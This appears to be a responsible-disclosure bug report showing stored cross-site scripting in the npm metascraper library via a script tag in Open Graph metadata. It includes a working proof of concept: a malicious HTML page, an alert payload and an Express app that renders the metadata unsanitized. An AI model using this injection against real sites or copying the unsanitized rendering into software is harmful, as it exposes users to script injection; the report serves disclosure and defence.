Hi Guys,
metascrapper is vulnerable to Stored XSS via Open Graph metadata, if they are used in HTML without any sanitization.
Module:
A library to easily scrape metadata from an article on the web using Open Graph metadata, regular HTML metadata, and series of fallbacks.
https://www.npmjs.com/package/metascraper
Description
Due to lack of HTML sanitization, there is possibility to embed malicious code in any of metadata read by metascrapper
. When library reads such metadata, there is no sanitization performed. If output from metascrapper
is used directly in HTML code, any HTML embed in metadata is executed in context of the page which load and render it.
An attacker needs to inject malicious code into any of Open Graph property.
og:site_name
meta property:<!doctype html>
<html xmlns:og="http://ogp.me/ns#" lang="en">
<head>
<meta charset="utf8">
<title>metascraper</title>
<meta property="og:description" content="The HR startups go to war.">
<meta property="og:image" content="image">
<meta property="og:site_name" content='<script src="http://127.0.0.1:8080/malware.js"></script>'>
<meta property="og:title" content="test article">
<meta property="og:type" content="article">
<meta property="og:url" content="http://127.0.0.1:8080">
</head>
<body>
</body>
</html>
save it as article.html
in the root directory of the server runs on http://127.0.0.1:8080
.
create malware.js
file with following content and save it in the same directory as article.html
:
alert('Uh oh, I am very bad malware!')
Please be aware that JavaScript
file with malicious code can be served from ANY place. This particular location is only for Poc.
This represents an HTML page which can be “scrapped” with metascrapper
metascrapper
and required dependiences (got
and express
)$ npm install metascrapper got express
metascrapper
to read webiste metadata. 127.0.0.1:8888
is address of server which uses metascrapper
. http://127.0.0.1:8080/article.html
is target website, where from metadata will be read:
const metascraper = require('metascraper')
const got = require('got')
const express = require('express')
const targetUrl = 'http://127.0.0.1:8080/article.html'
const app = express()
app.get('/scrap', function(req, res) {;
(async() => {
const {
body: html,
url
} = await got(targetUrl)
const metadata = await metascraper({
html,
url
})
console.log(metadata) // see returned metadata in console:
/*
{ author: null,
date: null,
description: 'The HR startups go to war.',
image: 'http://127.0.0.1:8080/image',
lang: 'en',
logo: null,
publisher: '<script src="http://127.0.0.1:8080/malware.js"></script>',
title: 'test article',
url: 'http://127.0.0.1:8080/article.html' }
*/
// display content of metadata.publisher in the browser
let __html = `
<div>
<p>site title: ${metadata.title}</p>
<p>site publisher: ${metadata.publisher}</p>
</div>
`
res.send(__html)
})()
})
app.listen(8888, () => console.log('Example app listening on port 8888!'))
$ node app.js
go to http://127.0.0.1:8888/scrap
malicious JavaScript code embed in site metadata og:site_name
is executed:
{F257373}
As we can notice, our payload was displayed in the source page “as is”:
{F257372}
Configuration I’ve used to find this vulnerability:
I hope this report will help to keep Node ecosystem more safe. If you have any questions about any details of this finding, please let me know in comment.
Thank you
Regards,
Rafal ‘bl4de’ Janicki
Although this is quite hard to exploit in the wild, there is no doubt such attack is possible. This might lead to malware distribution, session cookies from infected websites leaks, run cryptocurrency miners in users’ browsers and many more attacks.